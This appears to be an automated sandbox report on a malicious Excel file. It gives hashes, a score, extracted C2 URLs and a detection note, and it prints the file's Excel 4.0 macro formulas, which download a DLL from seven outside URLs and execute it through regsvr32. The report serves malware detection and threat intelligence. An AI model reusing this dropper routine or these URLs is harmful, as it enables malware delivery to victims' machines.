General

  • Target

    a2ce2b1e64c5fe978aeb033cab952bbebcd59e046f93350aadcd2cc84d67014d

  • Size

    20KB

  • Sample

    241120-wsfexa1fjm

  • MD5

    481287127a9efe0f676dd35537546a31

  • SHA1

    fdd8ac9fb90cadda552165decee8f32c4ae9678d

  • SHA256

    a2ce2b1e64c5fe978aeb033cab952bbebcd59e046f93350aadcd2cc84d67014d

  • SHA512

    19115c6bd5b6264930c7d83a340dabe4ce9d60a96ab4155a8a0559808ebcf768a5ed50ba2f59a5dddde7c0b0a66f89ba8e04a3bbc27787d7b0f5b986b864de06

  • SSDEEP

    384:WKAVb1GNjYTo4CGzPd6ZIwL0AOKb5CzgObff9kC+xbX7jvIv:WKYINmo4FLyCBn9kC+xbLA

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/

http://festival.artdialog.ch/contact/RGhcwH4DRBM/

http://bramynapilota.com.pl/wp-admin/NHk/

http://brwconsultoria.com.br/img/Vl0i9o/

http://buildershyper.co.za/s6Oe/

http://business-tailor.nl/ww12/Kz7GjU/

https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://festival.artdialog.ch/contact/RGhcwH4DRBM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bramynapilota.com.pl/wp-admin/NHk/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brwconsultoria.com.br/img/Vl0i9o/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buildershyper.co.za/s6Oe/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://business-tailor.nl/ww12/Kz7GjU/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/

xlm40.dropper

http://festival.artdialog.ch/contact/RGhcwH4DRBM/

xlm40.dropper

http://bramynapilota.com.pl/wp-admin/NHk/

xlm40.dropper

http://brwconsultoria.com.br/img/Vl0i9o/

Targets

    • Target

      a2ce2b1e64c5fe978aeb033cab952bbebcd59e046f93350aadcd2cc84d67014d

    • Size

      20KB

    • MD5

      481287127a9efe0f676dd35537546a31

    • SHA1

      fdd8ac9fb90cadda552165decee8f32c4ae9678d

    • SHA256

      a2ce2b1e64c5fe978aeb033cab952bbebcd59e046f93350aadcd2cc84d67014d

    • SHA512

      19115c6bd5b6264930c7d83a340dabe4ce9d60a96ab4155a8a0559808ebcf768a5ed50ba2f59a5dddde7c0b0a66f89ba8e04a3bbc27787d7b0f5b986b864de06

    • SSDEEP

      384:WKAVb1GNjYTo4CGzPd6ZIwL0AOKb5CzgObff9kC+xbX7jvIv:WKYINmo4FLyCBn9kC+xbLA

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks